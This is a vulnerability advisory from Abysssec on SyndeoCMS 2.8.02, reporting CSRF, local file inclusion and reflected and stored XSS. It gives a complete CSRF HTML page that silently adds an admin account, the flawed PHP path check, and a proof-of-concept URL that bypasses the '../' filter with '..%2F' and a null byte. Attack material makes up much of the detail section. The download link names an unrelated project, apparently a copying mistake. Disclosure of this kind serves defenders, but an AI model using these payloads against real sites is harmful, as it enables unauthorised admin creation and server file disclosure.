Abysssec Research

1) Advisory information

Title	**: syndeocms 2.8.02 Multiple Vulnerabilities**
Affected	**: syndeocms <= 2.8.02**
Discovery	**: www.abysssec.com**
Vendor	**: http://www.syndeocms.org**
Download	**: http://visinia.codeplex.com/releases**
Impact	**: Ciritical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1. **CSRF**
2. **File inclusion**
3. **XSS**
4. **Stored XSS**

Impact

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
Also it's possible to download any sensitive data of CMS.

Remotely Exploitable

Yes

Locally Exploitable

Yes

3) Vulnerabilities detail

1- CSRF - Add Admin Account:

With this vulnerability you can navigate the admin to visit malicious site (when he is already logged in) to add another admin account in server vulnerable location :

```
index.php?option=configuration&suboption=users&modoption=save_user&user_id=0
```

The Source of HTML Page (Malicious scrip) is here:

```
<html>
<body>
<form onsubmit="return checkinput(this);"
action="index.php?option=configuration&suboption=users&modoption=save_user&user_id=0"
name="form" method="POST">
<input class="textfield" type="hidden"  name="fullname" value="csrf"/>
<input class="textfield" type="hidden"  name="username" value="abysssec"/>
<input class="textfield" type="hidden"  name="password" value=" abysssec "/>
<input class="textfield" type="hidden"  name="email" value="csrf@ abysssec.com"/>
<select name="editor">
<option value="1" selected="">FCKEditor</option>
<option value="2">Plain text Editor</option>
</select>
<input type="checkbox" checked="" name="initial" value="1"/>
<input class="textfield" type="hidden" value=""  name="sections"/>
<input type="radio" name="access_1" value="1"/>
<input type="radio" name="access_2" value="1"/>
.
.
.
<input type="radio" name="access_15" value="1"/>
<input type="radio" name="m_access[0]" value="1"/>
.
.
.
<input type="radio" name="m_access[21]" value="1"/>
<input class="savebutton" type="submit" name="savebutton" value="   Save"/>
</form>
</body>
</html>
```

2- LFI (Local File Inclusion):

Vulnerable Code located in starnet\core\con_configuration.inc.php :

```
line 61-73:
…
switch ($modoption) // start of switch
{
        case save_css :

                if (IsSet ($_POST['content']))
                {
                        $content = $_POST['content'];
                }

                if (strpos($theme, "../") === FALSE) //check if someone is trying to fool us.
                {
                        $filename = "themes/$theme/style.css";
…
```

Using this path you can include any file from server.

PoC:

```
http://localhost/starnet/index.php?option=configuration&suboption=configuration&modoption=edit_css&theme=..%2Findex.php%00
```

As you may noticed in code theme parameter is checked for "../" could be bypass by with "..%2F".

3- XSS:

in starnet\core\con_alerts.inc.php file "email" parameter when "modoption" is "save_alert":

PoC:

```
http://localhost/starnet/index.php?option=configuration&suboption=alerts&modoption=edit_alert&alert=2
```

4- Stored XSS:

in starnet\core\con_alerts.inc.php file "name" parameter when "modoption" is "save_alert" so you can put script in there and it will be store.

```
http://localhost/starnet/index.php?option=configuration&suboption=alerts&modoption=edit_alert
```